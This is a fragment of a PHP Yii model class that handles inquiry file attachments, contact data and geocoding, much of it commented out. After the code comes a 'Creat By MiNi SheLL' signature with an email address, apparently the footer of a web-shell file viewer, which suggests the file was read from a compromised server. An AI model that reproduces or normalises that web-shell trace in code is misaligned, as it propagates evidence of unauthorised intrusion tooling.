//            if(!$modelCompanyContactData->validate() || !$modelCompanyContactData->save(false)) {
//                return false;
//            } 
//            $order++;
//            $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
//            unset($modelCompanyContactData);
//        }
//        if(!empty($this->fb)) {
//            $modelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);
//            $modelCompanyContactData->id_company = $this->idCompany;
//            $modelCompanyContactData->data_label = $contactDataTypesLabels[ContactDataType::FACEBOOK];
//            $modelCompanyContactData->data_value = $this->fb;
//            $modelCompanyContactData->data_order = $order;
//            $modelCompanyContactData->data_type = ContactDataType::FACEBOOK;
//            $modelCompanyContactData->required = 0;
//            $modelCompanyContactData->settings = '{}';
//            if(!$modelCompanyContactData->validate() || !$modelCompanyContactData->save(false)) {
//                return false;
//            } 
//            $order++;
//            $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
//            unset($modelCompanyContactData);
//        }
//        
//        return $idsCompanyContactData;
//    }    
    
    protected function createInquiryAttachments($idInquiry)
    {
        $this->files = \yii\web\UploadedFile::getInstances($this, 'attachments'); 
        if(empty($this->files)) {
            return true;
        }
        
        $idsInquiryAttachments = [];
        foreach($this->files as $key => $attachment) {
            $modelInquiryAttachment = new InquiriesAttachments(['scenario' => 'create']);
            $modelInquiryAttachment->id_inquiry = $idInquiry;
            $modelInquiryAttachment->name = Yii::t('frontend', 'Załącznik nr {number}', ['number' => ($key + 1)]);
            $modelInquiryAttachment->file = clone $attachment;
            $modelInquiryAttachment->filename = InquiriesAttachments::createFileName($attachment->baseName, $attachment->extension);
            if(!$modelInquiryAttachment->validate() || !$modelInquiryAttachment->save(false)) {
                if(!empty($this->uploadedFiles)) {
                    foreach($this->uploadedFiles as $uploadedFile) {
                        @unlink($uploadedFile);
                    }
                }
                if(file_exists(Yii::getAlias('@inquiriesAttachmentsRealPath').'/'.$idInquiry.'/')) {
                    $this->removeDir(Yii::getAlias('@inquiriesAttachmentsRealPath').'/'.$idInquiry.'/');
                }
                return false;
            }
            $idsInquiryAttachments[] = $modelInquiryAttachment->id_attachment;
            $this->uploadedFiles[] = $modelInquiryAttachment->saveFile(false);
        }
        
        return $idsInquiryAttachments;
    }
    
//    protected function determineLatAndLng()
//    {
//        if(!empty($this->lat)) {
//            return true;
//        }
//        
//        $address = $this->street.' '.$this->building_number.', '.$this->postcode.' '.$this->locality.', '.$this->region;        
//        $googleMapsData = json_decode(file_get_contents('http://maps.googleapis.com/maps/api/geocode/json?address='.urlencode($address).'&sensor=false'));
//        if($googleMapsData->status == 'OK') {
//            foreach ($googleMapsData->results as $res) {
//                if (isset($res->geometry) && isset($res->geometry->location)) { 
//                    if($res->geometry->location->lat != 51.919438 && $res->geometry->location->lng != 19.145136) {        
//                        $this->lat = $res->geometry->location->lat;
//                        $this->lng = $res->geometry->location->lng;
//                        return true;
////                        return [$res->geometry->location->lat, $res->geometry->location->lng];
//                    }
//                }
//            }
//        }
//        
//        $pna = GeoPna::find()->select(['lat', 'lng'])->where(['postcode' => $this->postcode])->asArray()->one();
//        if($pna !== null) {
//            $this->lat = $pna['lat'];
//            $this->lng = $pna['lng'];
//            return true;
////            return [$pna['lat'], $pna['lng']];
//        }
//        
//        return false;
////        return [null, null];
//    }
    
//    public function setIdUser($idUser) 
//    {
//        $this->idUser = $this->id_user = intval($idUser);
//    }
//    
//    public function setIdCompany($idCompany) 
//    {
//        $this->idCompany = $this->id_company = intval($idCompany);
//    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com